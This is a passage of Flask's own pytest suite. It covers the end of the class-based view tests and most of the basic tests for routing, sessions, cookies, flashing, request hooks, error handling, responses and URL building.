    assert sorted(meths) == ['GET', 'HEAD', 'OPTIONS', 'POST']

def test_basic_view():
    app = flask.Flask(__name__)

    class Index(flask.views.View):
        methods = ['GET', 'POST']
        def dispatch_request(self):
            return flask.request.method

    app.add_url_rule('/', view_func=Index.as_view('index'))
    common_test(app)

def test_method_based_view():
    app = flask.Flask(__name__)

    class Index(flask.views.MethodView):
        def get(self):
            return 'GET'
        def post(self):
            return 'POST'

    app.add_url_rule('/', view_func=Index.as_view('index'))

    common_test(app)

def test_view_patching():
    app = flask.Flask(__name__)

    class Index(flask.views.MethodView):
        def get(self):
            1 // 0
        def post(self):
            1 // 0

    class Other(Index):
        def get(self):
            return 'GET'
        def post(self):
            return 'POST'

    view = Index.as_view('index')
    view.view_class = Other
    app.add_url_rule('/', view_func=view)
    common_test(app)

def test_view_inheritance():
    app = flask.Flask(__name__)

    class Index(flask.views.MethodView):
        def get(self):
            return 'GET'
        def post(self):
            return 'POST'

    class BetterIndex(Index):
        def delete(self):
            return 'DELETE'

    app.add_url_rule('/', view_func=BetterIndex.as_view('index'))
    c = app.test_client()

    meths = parse_set_header(c.open('/', method='OPTIONS').headers['Allow'])
    assert sorted(meths) == ['DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST']

def test_view_decorators():
    app = flask.Flask(__name__)

    def add_x_parachute(f):
        def new_function(*args, **kwargs):
            resp = flask.make_response(f(*args, **kwargs))
            resp.headers['X-Parachute'] = 'awesome'
            return resp
        return new_function

    class Index(flask.views.View):
        decorators = [add_x_parachute]
        def dispatch_request(self):
            return 'Awesome'

    app.add_url_rule('/', view_func=Index.as_view('index'))
    c = app.test_client()
    rv = c.get('/')
    assert rv.headers['X-Parachute'] == 'awesome'
    assert rv.data == b'Awesome'

def test_implicit_head():
    app = flask.Flask(__name__)

    class Index(flask.views.MethodView):
        def get(self):
            return flask.Response('Blub', headers={
                'X-Method': flask.request.method
            })

    app.add_url_rule('/', view_func=Index.as_view('index'))
    c = app.test_client()
    rv = c.get('/')
    assert rv.data == b'Blub'
    assert rv.headers['X-Method'] == 'GET'
    rv = c.head('/')
    assert rv.data == b''
    assert rv.headers['X-Method'] == 'HEAD'

def test_explicit_head():
    app = flask.Flask(__name__)

    class Index(flask.views.MethodView):
        def get(self):
            return 'GET'
        def head(self):
            return flask.Response('', headers={'X-Method': 'HEAD'})

    app.add_url_rule('/', view_func=Index.as_view('index'))
    c = app.test_client()
    rv = c.get('/')
    assert rv.data == b'GET'
    rv = c.head('/')
    assert rv.data == b''
    assert rv.headers['X-Method'] == 'HEAD'

def test_endpoint_override():
    app = flask.Flask(__name__)
    app.debug = True

    class Index(flask.views.View):
        methods = ['GET', 'POST']
        def dispatch_request(self):
            return flask.request.method

    app.add_url_rule('/', view_func=Index.as_view('index'))

    with pytest.raises(AssertionError):
        app.add_url_rule('/', view_func=Index.as_view('index'))

    # But these tests should still pass. We just log a warning.
    common_test(app)






# -*- coding: utf-8 -*-
"""
    tests.basic
    ~~~~~~~~~~~~~~~~~~~~~

    The basic functionality.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import re
import uuid
import time
import flask
import pickle
from datetime import datetime
from threading import Thread
from flask._compat import text_type
from werkzeug.exceptions import BadRequest, NotFound, Forbidden
from werkzeug.http import parse_date
from werkzeug.routing import BuildError
import werkzeug.serving


def test_options_work():
    app = flask.Flask(__name__)

    @app.route('/', methods=['GET', 'POST'])
    def index():
        return 'Hello World'
    rv = app.test_client().open('/', method='OPTIONS')
    assert sorted(rv.allow) == ['GET', 'HEAD', 'OPTIONS', 'POST']
    assert rv.data == b''


def test_options_on_multiple_rules():
    app = flask.Flask(__name__)

    @app.route('/', methods=['GET', 'POST'])
    def index():
        return 'Hello World'

    @app.route('/', methods=['PUT'])
    def index_put():
        return 'Aha!'
    rv = app.test_client().open('/', method='OPTIONS')
    assert sorted(rv.allow) == ['GET', 'HEAD', 'OPTIONS', 'POST', 'PUT']


def test_options_handling_disabled():
    app = flask.Flask(__name__)

    def index():
        return 'Hello World!'
    index.provide_automatic_options = False
    app.route('/')(index)
    rv = app.test_client().open('/', method='OPTIONS')
    assert rv.status_code == 405

    app = flask.Flask(__name__)

    def index2():
        return 'Hello World!'
    index2.provide_automatic_options = True
    app.route('/', methods=['OPTIONS'])(index2)
    rv = app.test_client().open('/', method='OPTIONS')
    assert sorted(rv.allow) == ['OPTIONS']


def test_request_dispatching():
    app = flask.Flask(__name__)

    @app.route('/')
    def index():
        return flask.request.method

    @app.route('/more', methods=['GET', 'POST'])
    def more():
        return flask.request.method

    c = app.test_client()
    assert c.get('/').data == b'GET'
    rv = c.post('/')
    assert rv.status_code == 405
    assert sorted(rv.allow) == ['GET', 'HEAD', 'OPTIONS']
    rv = c.head('/')
    assert rv.status_code == 200
    assert not rv.data  # head truncates
    assert c.post('/more').data == b'POST'
    assert c.get('/more').data == b'GET'
    rv = c.delete('/more')
    assert rv.status_code == 405
    assert sorted(rv.allow) == ['GET', 'HEAD', 'OPTIONS', 'POST']


def test_disallow_string_for_allowed_methods():
    app = flask.Flask(__name__)
    with pytest.raises(TypeError):
        @app.route('/', methods='GET POST')
        def index():
            return "Hey"


def test_url_mapping():
    app = flask.Flask(__name__)

    random_uuid4 = "7eb41166-9ebf-4d26-b771-ea3f54f8b383"

    def index():
        return flask.request.method

    def more():
        return flask.request.method

    def options():
        return random_uuid4


    app.add_url_rule('/', 'index', index)
    app.add_url_rule('/more', 'more', more, methods=['GET', 'POST'])

    # Issue 1288: Test that automatic options are not added when non-uppercase 'options' in methods
    app.add_url_rule('/options', 'options', options, methods=['options'])

    c = app.test_client()
    assert c.get('/').data == b'GET'
    rv = c.post('/')
    assert rv.status_code == 405
    assert sorted(rv.allow) == ['GET', 'HEAD', 'OPTIONS']
    rv = c.head('/')
    assert rv.status_code == 200
    assert not rv.data  # head truncates
    assert c.post('/more').data == b'POST'
    assert c.get('/more').data == b'GET'
    rv = c.delete('/more')
    assert rv.status_code == 405
    assert sorted(rv.allow) == ['GET', 'HEAD', 'OPTIONS', 'POST']
    rv = c.open('/options', method='OPTIONS')
    assert rv.status_code == 200
    assert random_uuid4 in rv.data.decode("utf-8")


def test_werkzeug_routing():
    from werkzeug.routing import Submount, Rule
    app = flask.Flask(__name__)
    app.url_map.add(Submount('/foo', [
        Rule('/bar', endpoint='bar'),
        Rule('/', endpoint='index')
    ]))

    def bar():
        return 'bar'

    def index():
        return 'index'
    app.view_functions['bar'] = bar
    app.view_functions['index'] = index

    c = app.test_client()
    assert c.get('/foo/').data == b'index'
    assert c.get('/foo/bar').data == b'bar'


def test_endpoint_decorator():
    from werkzeug.routing import Submount, Rule
    app = flask.Flask(__name__)
    app.url_map.add(Submount('/foo', [
        Rule('/bar', endpoint='bar'),
        Rule('/', endpoint='index')
    ]))

    @app.endpoint('bar')
    def bar():
        return 'bar'

    @app.endpoint('index')
    def index():
        return 'index'

    c = app.test_client()
    assert c.get('/foo/').data == b'index'
    assert c.get('/foo/bar').data == b'bar'


def test_session():
    app = flask.Flask(__name__)
    app.secret_key = 'testkey'

    @app.route('/set', methods=['POST'])
    def set():
        flask.session['value'] = flask.request.form['value']
        return 'value set'

    @app.route('/get')
    def get():
        return flask.session['value']

    c = app.test_client()
    assert c.post('/set', data={'value': '42'}).data == b'value set'
    assert c.get('/get').data == b'42'


def test_session_using_server_name():
    app = flask.Flask(__name__)
    app.config.update(
        SECRET_KEY='foo',
        SERVER_NAME='example.com'
    )

    @app.route('/')
    def index():
        flask.session['testing'] = 42
        return 'Hello World'
    rv = app.test_client().get('/', 'http://example.com/')
    assert 'domain=.example.com' in rv.headers['set-cookie'].lower()
    assert 'httponly' in rv.headers['set-cookie'].lower()


def test_session_using_server_name_and_port():
    app = flask.Flask(__name__)
    app.config.update(
        SECRET_KEY='foo',
        SERVER_NAME='example.com:8080'
    )

    @app.route('/')
    def index():
        flask.session['testing'] = 42
        return 'Hello World'
    rv = app.test_client().get('/', 'http://example.com:8080/')
    assert 'domain=.example.com' in rv.headers['set-cookie'].lower()
    assert 'httponly' in rv.headers['set-cookie'].lower()


def test_session_using_server_name_port_and_path():
    app = flask.Flask(__name__)
    app.config.update(
        SECRET_KEY='foo',
        SERVER_NAME='example.com:8080',
        APPLICATION_ROOT='/foo'
    )

    @app.route('/')
    def index():
        flask.session['testing'] = 42
        return 'Hello World'
    rv = app.test_client().get('/', 'http://example.com:8080/foo')
    assert 'domain=example.com' in rv.headers['set-cookie'].lower()
    assert 'path=/foo' in rv.headers['set-cookie'].lower()
    assert 'httponly' in rv.headers['set-cookie'].lower()


def test_session_using_application_root():
    class PrefixPathMiddleware(object):

        def __init__(self, app, prefix):
            self.app = app
            self.prefix = prefix

        def __call__(self, environ, start_response):
            environ['SCRIPT_NAME'] = self.prefix
            return self.app(environ, start_response)

    app = flask.Flask(__name__)
    app.wsgi_app = PrefixPathMiddleware(app.wsgi_app, '/bar')
    app.config.update(
        SECRET_KEY='foo',
        APPLICATION_ROOT='/bar'
    )

    @app.route('/')
    def index():
        flask.session['testing'] = 42
        return 'Hello World'
    rv = app.test_client().get('/', 'http://example.com:8080/')
    assert 'path=/bar' in rv.headers['set-cookie'].lower()


def test_session_using_session_settings():
    app = flask.Flask(__name__)
    app.config.update(
        SECRET_KEY='foo',
        SERVER_NAME='www.example.com:8080',
        APPLICATION_ROOT='/test',
        SESSION_COOKIE_DOMAIN='.example.com',
        SESSION_COOKIE_HTTPONLY=False,
        SESSION_COOKIE_SECURE=True,
        SESSION_COOKIE_PATH='/'
    )

    @app.route('/')
    def index():
        flask.session['testing'] = 42
        return 'Hello World'
    rv = app.test_client().get('/', 'http://www.example.com:8080/test/')
    cookie = rv.headers['set-cookie'].lower()
    assert 'domain=.example.com' in cookie
    assert 'path=/' in cookie
    assert 'secure' in cookie
    assert 'httponly' not in cookie


def test_missing_session():
    app = flask.Flask(__name__)

    def expect_exception(f, *args, **kwargs):
        e = pytest.raises(RuntimeError, f, *args, **kwargs)
        assert e.value.args and 'session is unavailable' in e.value.args[0]
    with app.test_request_context():
        assert flask.session.get('missing_key') is None
        expect_exception(flask.session.__setitem__, 'foo', 42)
        expect_exception(flask.session.pop, 'foo')


def test_session_expiration():
    permanent = True
    app = flask.Flask(__name__)
    app.secret_key = 'testkey'

    @app.route('/')
    def index():
        flask.session['test'] = 42
        flask.session.permanent = permanent
        return ''

    @app.route('/test')
    def test():
        return text_type(flask.session.permanent)

    client = app.test_client()
    rv = client.get('/')
    assert 'set-cookie' in rv.headers
    match = re.search(r'\bexpires=([^;]+)(?i)', rv.headers['set-cookie'])
    expires = parse_date(match.group())
    expected = datetime.utcnow() + app.permanent_session_lifetime
    assert expires.year == expected.year
    assert expires.month == expected.month
    assert expires.day == expected.day

    rv = client.get('/test')
    assert rv.data == b'True'

    permanent = False
    rv = app.test_client().get('/')
    assert 'set-cookie' in rv.headers
    match = re.search(r'\bexpires=([^;]+)', rv.headers['set-cookie'])
    assert match is None


def test_session_stored_last():
    app = flask.Flask(__name__)
    app.secret_key = 'development-key'
    app.testing = True

    @app.after_request
    def modify_session(response):
        flask.session['foo'] = 42
        return response

    @app.route('/')
    def dump_session_contents():
        return repr(flask.session.get('foo'))

    c = app.test_client()
    assert c.get('/').data == b'None'
    assert c.get('/').data == b'42'


def test_session_special_types():
    app = flask.Flask(__name__)
    app.secret_key = 'development-key'
    app.testing = True
    now = datetime.utcnow().replace(microsecond=0)
    the_uuid = uuid.uuid4()

    @app.after_request
    def modify_session(response):
        flask.session['m'] = flask.Markup('Hello!')
        flask.session['u'] = the_uuid
        flask.session['dt'] = now
        flask.session['b'] = b'\xff'
        flask.session['t'] = (1, 2, 3)
        return response

    @app.route('/')
    def dump_session_contents():
        return pickle.dumps(dict(flask.session))

    c = app.test_client()
    c.get('/')
    rv = pickle.loads(c.get('/').data)
    assert rv['m'] == flask.Markup('Hello!')
    assert type(rv['m']) == flask.Markup
    assert rv['dt'] == now
    assert rv['u'] == the_uuid
    assert rv['b'] == b'\xff'
    assert type(rv['b']) == bytes
    assert rv['t'] == (1, 2, 3)


def test_session_cookie_setting():
    app = flask.Flask(__name__)
    app.testing = True
    app.secret_key = 'dev key'
    is_permanent = True

    @app.route('/bump')
    def bump():
        rv = flask.session['foo'] = flask.session.get('foo', 0) + 1
        flask.session.permanent = is_permanent
        return str(rv)

    @app.route('/read')
    def read():
        return str(flask.session.get('foo', 0))

    def run_test(expect_header):
        with app.test_client() as c:
            assert c.get('/bump').data == b'1'
            assert c.get('/bump').data == b'2'
            assert c.get('/bump').data == b'3'

            rv = c.get('/read')
            set_cookie = rv.headers.get('set-cookie')
            assert (set_cookie is not None) == expect_header
            assert rv.data == b'3'

    is_permanent = True
    app.config['SESSION_REFRESH_EACH_REQUEST'] = True
    run_test(expect_header=True)

    is_permanent = True
    app.config['SESSION_REFRESH_EACH_REQUEST'] = False
    run_test(expect_header=False)

    is_permanent = False
    app.config['SESSION_REFRESH_EACH_REQUEST'] = True
    run_test(expect_header=False)

    is_permanent = False
    app.config['SESSION_REFRESH_EACH_REQUEST'] = False
    run_test(expect_header=False)


def test_flashes():
    app = flask.Flask(__name__)
    app.secret_key = 'testkey'

    with app.test_request_context():
        assert not flask.session.modified
        flask.flash('Zap')
        flask.session.modified = False
        flask.flash('Zip')
        assert flask.session.modified
        assert list(flask.get_flashed_messages()) == ['Zap', 'Zip']


def test_extended_flashing():
    # Be sure app.testing=True below, else tests can fail silently.
    #
    # Specifically, if app.testing is not set to True, the AssertionErrors
    # in the view functions will cause a 500 response to the test client
    # instead of propagating exceptions.

    app = flask.Flask(__name__)
    app.secret_key = 'testkey'
    app.testing = True

    @app.route('/')
    def index():
        flask.flash(u'Hello World')
        flask.flash(u'Hello World', 'error')
        flask.flash(flask.Markup(u'<em>Testing</em>'), 'warning')
        return ''

    @app.route('/test/')
    def test():
        messages = flask.get_flashed_messages()
        assert list(messages) == [
            u'Hello World',
            u'Hello World',
            flask.Markup(u'<em>Testing</em>')
        ]
        return ''

    @app.route('/test_with_categories/')
    def test_with_categories():
        messages = flask.get_flashed_messages(with_categories=True)
        assert len(messages) == 3
        assert list(messages) == [
            ('message', u'Hello World'),
            ('error', u'Hello World'),
            ('warning', flask.Markup(u'<em>Testing</em>'))
        ]
        return ''

    @app.route('/test_filter/')
    def test_filter():
        messages = flask.get_flashed_messages(
            category_filter=['message'], with_categories=True)
        assert list(messages) == [('message', u'Hello World')]
        return ''

    @app.route('/test_filters/')
    def test_filters():
        messages = flask.get_flashed_messages(
            category_filter=['message', 'warning'], with_categories=True)
        assert list(messages) == [
            ('message', u'Hello World'),
            ('warning', flask.Markup(u'<em>Testing</em>'))
        ]
        return ''

    @app.route('/test_filters_without_returning_categories/')
    def test_filters2():
        messages = flask.get_flashed_messages(
            category_filter=['message', 'warning'])
        assert len(messages) == 2
        assert messages[0] == u'Hello World'
        assert messages[1] == flask.Markup(u'<em>Testing</em>')
        return ''

    # Create new test client on each test to clean flashed messages.

    c = app.test_client()
    c.get('/')
    c.get('/test/')

    c = app.test_client()
    c.get('/')
    c.get('/test_with_categories/')

    c = app.test_client()
    c.get('/')
    c.get('/test_filter/')

    c = app.test_client()
    c.get('/')
    c.get('/test_filters/')

    c = app.test_client()
    c.get('/')
    c.get('/test_filters_without_returning_categories/')


def test_request_processing():
    app = flask.Flask(__name__)
    evts = []

    @app.before_request
    def before_request():
        evts.append('before')

    @app.after_request
    def after_request(response):
        response.data += b'|after'
        evts.append('after')
        return response

    @app.route('/')
    def index():
        assert 'before' in evts
        assert 'after' not in evts
        return 'request'
    assert 'after' not in evts
    rv = app.test_client().get('/').data
    assert 'after' in evts
    assert rv == b'request|after'


def test_request_preprocessing_early_return():
    app = flask.Flask(__name__)
    evts = []

    @app.before_request
    def before_request1():
        evts.append(1)

    @app.before_request
    def before_request2():
        evts.append(2)
        return "hello"

    @app.before_request
    def before_request3():
        evts.append(3)
        return "bye"

    @app.route('/')
    def index():
        evts.append('index')
        return "damnit"

    rv = app.test_client().get('/').data.strip()
    assert rv == b'hello'
    assert evts == [1, 2]


def test_after_request_processing():
    app = flask.Flask(__name__)
    app.testing = True

    @app.route('/')
    def index():
        @flask.after_this_request
        def foo(response):
            response.headers['X-Foo'] = 'a header'
            return response
        return 'Test'
    c = app.test_client()
    resp = c.get('/')
    assert resp.status_code == 200
    assert resp.headers['X-Foo'] == 'a header'


def test_teardown_request_handler():
    called = []
    app = flask.Flask(__name__)

    @app.teardown_request
    def teardown_request(exc):
        called.append(True)
        return "Ignored"

    @app.route('/')
    def root():
        return "Response"
    rv = app.test_client().get('/')
    assert rv.status_code == 200
    assert b'Response' in rv.data
    assert len(called) == 1


def test_teardown_request_handler_debug_mode():
    called = []
    app = flask.Flask(__name__)
    app.testing = True

    @app.teardown_request
    def teardown_request(exc):
        called.append(True)
        return "Ignored"

    @app.route('/')
    def root():
        return "Response"
    rv = app.test_client().get('/')
    assert rv.status_code == 200
    assert b'Response' in rv.data
    assert len(called) == 1


def test_teardown_request_handler_error():
    called = []
    app = flask.Flask(__name__)
    app.config['LOGGER_HANDLER_POLICY'] = 'never'

    @app.teardown_request
    def teardown_request1(exc):
        assert type(exc) == ZeroDivisionError
        called.append(True)
        # This raises a new error and blows away sys.exc_info(), so we can
        # test that all teardown_requests get passed the same original
        # exception.
        try:
            raise TypeError()
        except:
            pass

    @app.teardown_request
    def teardown_request2(exc):
        assert type(exc) == ZeroDivisionError
        called.append(True)
        # This raises a new error and blows away sys.exc_info(), so we can
        # test that all teardown_requests get passed the same original
        # exception.
        try:
            raise TypeError()
        except:
            pass

    @app.route('/')
    def fails():
        1 // 0
    rv = app.test_client().get('/')
    assert rv.status_code == 500
    assert b'Internal Server Error' in rv.data
    assert len(called) == 2


def test_before_after_request_order():
    called = []
    app = flask.Flask(__name__)

    @app.before_request
    def before1():
        called.append(1)

    @app.before_request
    def before2():
        called.append(2)

    @app.after_request
    def after1(response):
        called.append(4)
        return response

    @app.after_request
    def after2(response):
        called.append(3)
        return response

    @app.teardown_request
    def finish1(exc):
        called.append(6)

    @app.teardown_request
    def finish2(exc):
        called.append(5)

    @app.route('/')
    def index():
        return '42'
    rv = app.test_client().get('/')
    assert rv.data == b'42'
    assert called == [1, 2, 3, 4, 5, 6]


def test_error_handling():
    app = flask.Flask(__name__)
    app.config['LOGGER_HANDLER_POLICY'] = 'never'

    @app.errorhandler(404)
    def not_found(e):
        return 'not found', 404

    @app.errorhandler(500)
    def internal_server_error(e):
        return 'internal server error', 500

    @app.errorhandler(Forbidden)
    def forbidden(e):
        return 'forbidden', 403

    @app.route('/')
    def index():
        flask.abort(404)

    @app.route('/error')
    def error():
        1 // 0

    @app.route('/forbidden')
    def error2():
        flask.abort(403)
    c = app.test_client()
    rv = c.get('/')
    assert rv.status_code == 404
    assert rv.data == b'not found'
    rv = c.get('/error')
    assert rv.status_code == 500
    assert b'internal server error' == rv.data
    rv = c.get('/forbidden')
    assert rv.status_code == 403
    assert b'forbidden' == rv.data


def test_before_request_and_routing_errors():
    app = flask.Flask(__name__)

    @app.before_request
    def attach_something():
        flask.g.something = 'value'

    @app.errorhandler(404)
    def return_something(error):
        return flask.g.something, 404
    rv = app.test_client().get('/')
    assert rv.status_code == 404
    assert rv.data == b'value'


def test_user_error_handling():
    class MyException(Exception):
        pass

    app = flask.Flask(__name__)

    @app.errorhandler(MyException)
    def handle_my_exception(e):
        assert isinstance(e, MyException)
        return '42'

    @app.route('/')
    def index():
        raise MyException()

    c = app.test_client()
    assert c.get('/').data == b'42'


def test_http_error_subclass_handling():
    class ForbiddenSubclass(Forbidden):
        pass

    app = flask.Flask(__name__)

    @app.errorhandler(ForbiddenSubclass)
    def handle_forbidden_subclass(e):
        assert isinstance(e, ForbiddenSubclass)
        return 'banana'

    @app.errorhandler(403)
    def handle_forbidden_subclass(e):
        assert not isinstance(e, ForbiddenSubclass)
        assert isinstance(e, Forbidden)
        return 'apple'

    @app.route('/1')
    def index1():
        raise ForbiddenSubclass()

    @app.route('/2')
    def index2():
        flask.abort(403)

    @app.route('/3')
    def index3():
        raise Forbidden()

    c = app.test_client()
    assert c.get('/1').data == b'banana'
    assert c.get('/2').data == b'apple'
    assert c.get('/3').data == b'apple'


def test_trapping_of_bad_request_key_errors():
    app = flask.Flask(__name__)
    app.testing = True

    @app.route('/fail')
    def fail():
        flask.request.form['missing_key']
    c = app.test_client()
    assert c.get('/fail').status_code == 400

    app.config['TRAP_BAD_REQUEST_ERRORS'] = True
    c = app.test_client()
    with pytest.raises(KeyError) as e:
        c.get("/fail")
    assert e.errisinstance(BadRequest)


def test_trapping_of_all_http_exceptions():
    app = flask.Flask(__name__)
    app.testing = True
    app.config['TRAP_HTTP_EXCEPTIONS'] = True

    @app.route('/fail')
    def fail():
        flask.abort(404)

    c = app.test_client()
    with pytest.raises(NotFound):
        c.get('/fail')


def test_enctype_debug_helper():
    from flask.debughelpers import DebugFilesKeyError
    app = flask.Flask(__name__)
    app.debug = True

    @app.route('/fail', methods=['POST'])
    def index():
        return flask.request.files['foo'].filename

    # with statement is important because we leave an exception on the
    # stack otherwise and we want to ensure that this is not the case
    # to not negatively affect other tests.
    with app.test_client() as c:
        with pytest.raises(DebugFilesKeyError) as e:
            c.post('/fail', data={'foo': 'index.txt'})
        assert 'no file contents were transmitted' in str(e.value)
        assert 'This was submitted: "index.txt"' in str(e.value)


def test_response_creation():
    app = flask.Flask(__name__)

    @app.route('/unicode')
    def from_unicode():
        return u'Hällo Wörld'

    @app.route('/string')
    def from_string():
        return u'Hällo Wörld'.encode('utf-8')

    @app.route('/args')
    def from_tuple():
        return 'Meh', 400, {
            'X-Foo': 'Testing',
            'Content-Type': 'text/plain; charset=utf-8'
        }

    @app.route('/two_args')
    def from_two_args_tuple():
        return 'Hello', {
            'X-Foo': 'Test',
            'Content-Type': 'text/plain; charset=utf-8'
        }

    @app.route('/args_status')
    def from_status_tuple():
        return 'Hi, status!', 400

    @app.route('/args_header')
    def from_response_instance_status_tuple():
        return flask.Response('Hello world', 404), {
            "X-Foo": "Bar",
            "X-Bar": "Foo"
        }

    c = app.test_client()
    assert c.get('/unicode').data == u'Hällo Wörld'.encode('utf-8')
    assert c.get('/string').data == u'Hällo Wörld'.encode('utf-8')
    rv = c.get('/args')
    assert rv.data == b'Meh'
    assert rv.headers['X-Foo'] == 'Testing'
    assert rv.status_code == 400
    assert rv.mimetype == 'text/plain'
    rv2 = c.get('/two_args')
    assert rv2.data == b'Hello'
    assert rv2.headers['X-Foo'] == 'Test'
    assert rv2.status_code == 200
    assert rv2.mimetype == 'text/plain'
    rv3 = c.get('/args_status')
    assert rv3.data == b'Hi, status!'
    assert rv3.status_code == 400
    assert rv3.mimetype == 'text/html'
    rv4 = c.get('/args_header')
    assert rv4.data == b'Hello world'
    assert rv4.headers['X-Foo'] == 'Bar'
    assert rv4.headers['X-Bar'] == 'Foo'
    assert rv4.status_code == 404


def test_make_response():
    app = flask.Flask(__name__)
    with app.test_request_context():
        rv = flask.make_response()
        assert rv.status_code == 200
        assert rv.data == b''
        assert rv.mimetype == 'text/html'

        rv = flask.make_response('Awesome')
        assert rv.status_code == 200
        assert rv.data == b'Awesome'
        assert rv.mimetype == 'text/html'

        rv = flask.make_response('W00t', 404)
        assert rv.status_code == 404
        assert rv.data == b'W00t'
        assert rv.mimetype == 'text/html'


def test_make_response_with_response_instance():
    app = flask.Flask(__name__)
    with app.test_request_context():
        rv = flask.make_response(
            flask.jsonify({'msg': 'W00t'}), 400)
        assert rv.status_code == 400
        assert rv.data == b'{\n  "msg": "W00t"\n}\n'
        assert rv.mimetype == 'application/json'

        rv = flask.make_response(
            flask.Response(''), 400)
        assert rv.status_code == 400
        assert rv.data == b''
        assert rv.mimetype == 'text/html'

        rv = flask.make_response(
            flask.Response('', headers={'Content-Type': 'text/html'}),
            400, [('X-Foo', 'bar')])
        assert rv.status_code == 400
        assert rv.headers['Content-Type'] == 'text/html'
        assert rv.headers['X-Foo'] == 'bar'


def test_jsonify_no_prettyprint():
    app = flask.Flask(__name__)
    app.config.update({"JSONIFY_PRETTYPRINT_REGULAR": False})
    with app.test_request_context():
        compressed_msg = b'{"msg":{"submsg":"W00t"},"msg2":"foobar"}\n'
        uncompressed_msg = {
            "msg": {
                "submsg": "W00t"
            },
            "msg2": "foobar"
            }

        rv = flask.make_response(
            flask.jsonify(uncompressed_msg), 200)
        assert rv.data == compressed_msg


def test_jsonify_prettyprint():
    app = flask.Flask(__name__)
    app.config.update({"JSONIFY_PRETTYPRINT_REGULAR": True})
    with app.test_request_context():
        compressed_msg = {"msg":{"submsg":"W00t"},"msg2":"foobar"}
        pretty_response =\
            b'{\n  "msg": {\n    "submsg": "W00t"\n  }, \n  "msg2": "foobar"\n}\n'

        rv = flask.make_response(
            flask.jsonify(compressed_msg), 200)
        assert rv.data == pretty_response


def test_jsonify_mimetype():
    app = flask.Flask(__name__)
    app.config.update({"JSONIFY_MIMETYPE": 'application/vnd.api+json'})
    with app.test_request_context():
        msg = {
            "msg": {"submsg": "W00t"},
        }
        rv = flask.make_response(
            flask.jsonify(msg), 200)
        assert rv.mimetype == 'application/vnd.api+json'


def test_jsonify_args_and_kwargs_check():
    app = flask.Flask(__name__)
    with app.test_request_context():
        with pytest.raises(TypeError) as e:
            flask.jsonify('fake args', kwargs='fake')
        assert 'behavior undefined' in str(e.value)


def test_url_generation():
    app = flask.Flask(__name__)

    @app.route('/hello/<name>', methods=['POST'])
    def hello():
        pass
    with app.test_request_context():
        assert flask.url_for('hello', name='test x') == '/hello/test%20x'
        assert flask.url_for('hello', name='test x', _external=True) == \
            'http://localhost/hello/test%20x'


def test_build_error_handler():
    app = flask.Flask(__name__)

    # Test base case, a URL which results in a BuildError.
    with app.test_request_context():
        pytest.raises(BuildError, flask.url_for, 'spam')

    # Verify the error is re-raised if not the current exception.
    try:
        with app.test_request_context():
            flask.url_for('spam')
    except BuildError as err:
        error = err
    try:
        raise RuntimeError('Test case where BuildError is not current.')
    except RuntimeError:
        pytest.raises(
            BuildError, app.handle_url_build_error, error, 'spam', {})

    # Test a custom handler.
    def handler(error, endpoint, values):
        # Just a test.
        return '/test_handler/'
    app.url_build_error_handlers.append(handler)
    with app.test_request_context():
        assert flask.url_for('spam') == '/test_handler/'


def test_build_error_handler_reraise():
    app = flask.Flask(__name__)

    # Test a custom handler which reraises the BuildError
    def handler_raises_build_error(error, endpoint, values):
        raise error
    app.url_build_error_handlers.append(handler_raises_build_error)

    with app.test_request_context():
        pytest.raises(BuildError, flask.url_for, 'not.existing')


def test_custom_converters():
    from werkzeug.routing import BaseConverter

    class ListConverter(BaseConverter):

        def to_python(self, value):
            return value.split(',')

        def to_url(self, value):
            base_to_url = super(ListConverter, self).to_url
            return ','.join(base_to_url(x) for x in value)
    app = flask.Flask(__name__)
    app.url_map.converters['list'] = ListConverter

    @app.route('/<list:args>')
    def index(args):
        return '|'.join(args)
    c = app.test_client()
    assert c.get('/1,2,3').data == b'1|2|3'


def test_static_files():
    app = flask.Flask(__name__)
    app.testing = True
    rv = app.test_client().get('/static/index.html')
    assert rv.status_code == 200
    assert rv.data.strip() == b'<h1>Hello World!</h1>'
    with app.test_request_context():
        assert flask.url_for('static', filename='index.html') == \
            '/static/index.html'
    rv.close()


def test_static_path_deprecated(recwarn):
    app = flask.Flask(__name__, static_path='/foo')
    recwarn.pop(DeprecationWarning)

    app.testing = True
    rv = app.test_client().get('/foo/index.html')
    assert rv.status_code == 200
    rv.close()

    with app.test_request_context():
        assert flask.url_for('static', filename='index.html') == '/foo/index.html'


def test_static_url_path():
    app = flask.Flask(__name__, static_url_path='/foo')
    app.testing = True
    rv = app.test_client().get('/foo/index.html')
    assert rv.status_code == 200
    rv.close()

    with app.test_request_context():
        assert flask.url_for('static', filename='index.html') == '/foo/index.html'


def test_none_response():
    app = flask.Flask(__name__)
    app.testing = True

    @app.route('/')
    def test():
        return None
    try:
        app.test_client().get('/')
    except ValueError as e:
        assert str(e) == 'View function did not return a response'
        pass
    else:
        assert "Expected ValueError"


def test_request_locals():
    assert repr(flask.g) == '<LocalProxy unbound>'
    assert not flask.g


def test_test_app_proper_environ():
    app = flask.Flask(__name__)
    app.config.update(
        SERVER_NAME='localhost.localdomain:5000'
    )

    @app.route('/')
    def index():
        return 'Foo'

    @app.route('/', subdomain='foo')
    def subdomain():
        return 'Foo SubDomain'

    rv = app.test_client().get('/')
    assert rv.data == b'Foo'

    rv = app.test_client().get('/', 'http://localhost.localdomain:5000')
    assert rv.data == b'Foo'

    rv = app.test_client().get('/', 'https://localhost.localdomain:5000')
    assert rv.data == b'Foo'

    app.config.update(SERVER_NAME='localhost.localdomain')
    rv = app.test_client().get('/', 'https://localhost.localdomain')
    assert rv.data == b'Foo'

    try:
        app.config.update(SERVER_NAME='localhost.localdomain:443')
        rv = app.test_client().get('/', 'https://localhost.localdomain')
        # Werkzeug 0.8
        assert rv.status_code == 404
    except ValueError as e:
        # Werkzeug 0.7
        assert str(e) == (
            "the server name provided "
            "('localhost.localdomain:443') does not match the "
            "server name from the WSGI environment ('localhost.localdomain')"
        )

    try:
        app.config.update(SERVER_NAME='localhost.localdomain')
        rv = app.test_client().get('/', 'http://foo.localhost')
        # Werkzeug 0.8
        assert rv.status_code == 404
    except ValueError as e:
        # Werkzeug 0.7
        assert str(e) == (
            "the server name provided "
            "('localhost.localdomain') does not match the "
            "server name from the WSGI environment ('foo.localhost')"
        )

    rv = app.test_client().get('/', 'http://foo.localhost.localdomain')
    assert rv.data == b'Foo SubDomain'


def test_exception_propagation():
    def apprunner(config_key):
        app = flask.Flask(__name__)
        app.config['LOGGER_HANDLER_POLICY'] = 'never'

